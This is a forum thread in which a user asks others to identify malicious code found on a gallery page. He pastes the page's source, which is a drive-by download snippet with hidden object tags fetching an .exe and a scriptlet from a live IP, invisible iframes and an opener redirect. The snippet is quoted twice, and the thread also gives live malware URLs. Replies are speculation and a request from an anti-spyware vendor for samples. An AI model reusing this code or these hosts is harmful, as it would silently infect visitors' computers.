Does anybody have a test machine to see what this code does?

Collapse
X
Collapse
 
  • Page of 1
  • Time
  • Show
Clear All
new posts
Previous template Next
  • Dirty F
    Too lazy to set a custom title
    • Jul 2001
    • 59204
    #1

    Does anybody have a test machine to see what this code does?

    I checked a gallery and the sec i clicked it my puter started going crazy. It started loading something it seems and took mins before it was back to normal.
    I checked the source of the gallery and notice some odd stuff...

    This is the url. DO NOT CLICK IT!
    h ttp://195.225.177.38/mind/r001/

    And inside i found stuff like:

    Code:
    <object data="http://195.225.177.38/rnrdnew/str.exe" type="text/x-scriptlet" STYLE=display:none>  
</object>  
<object data="http://195.225.177.38/rnrdnew/strsp2.js" type="text/x-scriptlet" STYLE=display:none>  
</object>  
<iframe src="http://195.225.177.38/rnrdnew/index.html" width=1 height=1 style="display:none"></iframe>

<SCRIPT language=JavaScript type=text/JavaScript>
<!--

      if (parent.window.opener) parent.window.opener.location='http://195.225.177.38/tds/in.cgi?nine';
     //-->
     </SCRIPT>

<iframe src="http://195.225.177.38/mind/st/index.htm" width="1" height="1"></iframe>
    Anybody know what all this crap is? I see no signs of infection yet but i think im hit with something.

    Also this opened in a new window: ONE AGAIN DO NOT CLICK unless you're on a test machine.

    h ttp://82.179.166.2/default.php?id=83556&c=cHw1J1sN3Jy70Z9v8JLN1D4XJNc RA1u7
    Tags: None
    • Dirty F
      Too lazy to set a custom title
      • Jul 2001
      • 59204
      #2
      The whois goes to a Ukranian address. What a surprise.
      I see shady shit and Russians are involved. Who wouldve guessed that.

        Comment

        • AlienQ - BANNED FOR LIFE
          best designer on GFY
          • Mar 2003
          • 30307
          #3
          Originally posted by Franck
          The whois goes to a Ukranian address. What a surprise.
          I see shady shit and Russians are involved. Who wouldve guessed that.
          What more is there to know?
          Someones PC is forever changed and tainted.

          Shoot your Hard Drive.

            Comment

            • fris
              I have to go potty
              • Aug 2002
              • 55897
              #4
              it has an .exe in the object address that shold tell you something.
              Since 1999: 69 Adult Industry awards for Best Hosting Company and professional excellence.


              My Newest Theme

                Comment

                • AlienQ - BANNED FOR LIFE
                  best designer on GFY
                  • Mar 2003
                  • 30307
                  #5
                  http://vil.mcafeesecurity.com/vil/content/v_135733.htm

                    Comment

                    • AlienQ - BANNED FOR LIFE
                      best designer on GFY
                      • Mar 2003
                      • 30307
                      #6
                      Basically McAffey says you are fucked.

                        Comment

                        • KingK7
                          Confirmed User
                          • Jun 2002
                          • 6372
                          #7
                          It will make you convert in 1:7000 with ccbill

                            Comment

                            • AlienQ - BANNED FOR LIFE
                              best designer on GFY
                              • Mar 2003
                              • 30307
                              #8
                              Originally posted by KingK7
                              It will make you convert in 1:7000 with ccbill

                              LOL

                              Ya think it is a AFF Code swapper? Could be...

                                Comment

                                • chupachups
                                  Confirmed User
                                  • Dec 2002
                                  • 6576
                                  #9
                                  I know what nasty shit this it..... Summary: Pay or format your HD

                                    Comment

                                    • GFX Wiz
                                      Confirmed User
                                      • Jul 2004
                                      • 916
                                      #10
                                      Originally posted by Franck
                                      I checked a gallery and the sec i clicked it my puter started going crazy. It started loading something it seems and took mins before it was back to normal.
                                      I checked the source of the gallery and notice some odd stuff...

                                      This is the url. DO NOT CLICK IT!
                                      h ttp://195.225.177.38/mind/r001/

                                      And inside i found stuff like:

                                      Code:
                                      <object data="http://195.225.177.38/rnrdnew/str.exe" type="text/x-scriptlet" STYLE=display:none>  
</object>  
<object data="http://195.225.177.38/rnrdnew/strsp2.js" type="text/x-scriptlet" STYLE=display:none>  
</object>  
<iframe src="http://195.225.177.38/rnrdnew/index.html" width=1 height=1 style="display:none"></iframe>

<SCRIPT language=JavaScript type=text/JavaScript>
<!--

      if (parent.window.opener) parent.window.opener.location='http://195.225.177.38/tds/in.cgi?nine';
     //-->
     </SCRIPT>

<iframe src="http://195.225.177.38/mind/st/index.htm" width="1" height="1"></iframe>
                                      Anybody know what all this crap is? I see no signs of infection yet but i think im hit with something.

                                      Also this opened in a new window: ONE AGAIN DO NOT CLICK unless you're on a test machine.

                                      h ttp://82.179.166.2/default.php?id=83556&c=cHw1J1sN3Jy70Z9v8JLN1D4XJNc RA1u7
                                      Thanks Franck...we're always looking for shit like this for our test machines. If anyone else has any more, please post or email to [email protected]
                                      ICQ: 148.167.599

                                        Comment

                                        • Dirty F
                                          Too lazy to set a custom title
                                          • Jul 2001
                                          • 59204
                                          #11
                                          Originally posted by chupachups
                                          I know what nasty shit this it..... Summary: Pay or format your HD

                                          I cant find any sings of infection. I wonder if it failed to install.

                                            Comment

                                            • Dirty F
                                              Too lazy to set a custom title
                                              • Jul 2001
                                              • 59204
                                              #12
                                              Originally posted by GFX Wiz
                                              Thanks Franck...we're always looking for shit like this for our test machines. If anyone else has any more, please post or email to [email protected]

                                              Yw...what exactly you do with it?

                                                Comment

                                                • GFX Wiz
                                                  Confirmed User
                                                  • Jul 2004
                                                  • 916
                                                  #13
                                                  Originally posted by Franck
                                                  Yw...what exactly you do with it?
                                                  Harvest spyware definitions for our anti-spyware application
                                                  ICQ: 148.167.599

                                                    Comment

                                                    • Dirty F
                                                      Too lazy to set a custom title
                                                      • Jul 2001
                                                      • 59204
                                                      #14
                                                      Originally posted by GFX Wiz
                                                      Harvest spyware definitions for our anti-spyware application

                                                      i see...cool.

                                                        Comment

                                                        • chupachups
                                                          Confirmed User
                                                          • Dec 2002
                                                          • 6576
                                                          #15
                                                          Franck, do you see any disturbing effects of it? Did it change your wallpaper, and you cant change it back etc?

                                                            Comment

                                                            • Dirty F
                                                              Too lazy to set a custom title
                                                              • Jul 2001
                                                              • 59204
                                                              #16
                                                              Originally posted by chupachups
                                                              Franck, do you see any disturbing effects of it? Did it change your wallpaper, and you cant change it back etc?

                                                              Nothing so far. I checked the windows dirs. No new files, no changes. Virus scanner didnt pick up anything so far...but who knows after a reboot.

                                                              I used FF...maybe that stopped the infection partly.

                                                                Comment

                                                                Previous template Next
                                                                Working...